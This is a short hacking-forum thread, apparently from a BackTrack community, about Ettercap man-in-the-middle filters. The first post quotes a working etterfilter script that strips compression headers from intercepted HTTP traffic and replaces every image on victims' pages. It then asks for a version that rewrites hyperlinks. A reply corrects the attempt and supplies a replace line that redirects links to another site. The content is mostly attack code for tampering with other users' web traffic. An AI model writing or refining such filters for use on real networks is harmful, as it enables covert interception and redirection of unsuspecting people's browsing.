Results 1 to 2 of 2

Thread: Request Etterfilter/Ettercap that changes hyperlinks instead of images

  1. #1
    Just burned his ISO
    Join Date
    Nov 2010
    Posts
    3

    Question Request Etterfilter/Ettercap that changes hyperlinks instead of images

    hey y'all. I've been screwing around with etterfilter and ettercap, and came across this script.

    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Rubbish!");
    # note: replacement string is same length as original string
    msg("zapped Accept-Encoding!\n");
    }
    }
    if (ip.proto == TCP && tcp.src == 80) {
    replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
    replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
    msg("Filter Ran.\n");
    }
    and it crossed my mind that I wanted to create a script that changes hyperlinks instead of image scripts. can any of you experts help me figure this out. I'm new to back track. I've tried this.

    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Rubbish!");
    # note: replacement string is same length as original string
    msg("zapped Accept-Encoding!\n");
    }
    }
    if (ip.proto == TCP && tcp.a href == 80) {
    replace("a href=", "a href=\"url here\" ");
    replace("A HREF=", "a href=\"url here\" ");
    msg("Filter Ran.\n");
    }
    but I ran into a few problems and I don't even know if this is the right way to go about it.

    Can Someone Help Me?!

  2. #2
    Just burned his ISO
    Join Date
    Feb 2010
    Posts
    22

    Default Re: Request Etterfilter/Ettercap that changes hyperlinks instead of images

    hey.. why && tcp.a href == 80 ??
    and maybe try something like that... (without \ at the begining of the url)
    replace("<a href="","<a href="www.haezblog.tk"");
    it would be so great if you can use regular expressions in ettercap filters.

    ...haez
    www.h43z.tk --blog

Similar Threads

  1. BT4 live images
    By tesserarius in forum OLD BackTrack 4 (pre) Final
    Replies: 3
    Last Post: 12-04-2009, 02:07 PM
  2. etterfilter inject method
    By juffed in forum OLD Newbie Area
    Replies: 1
    Last Post: 06-17-2009, 09:03 AM
  3. Etterfilter Question
    By imported_wyze in forum OLD Specialist Topics
    Replies: 2
    Last Post: 05-21-2009, 07:41 PM
  4. basic authentication etterfilter
    By amarino2 in forum OLD Newbie Area
    Replies: 8
    Last Post: 04-03-2009, 04:14 PM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •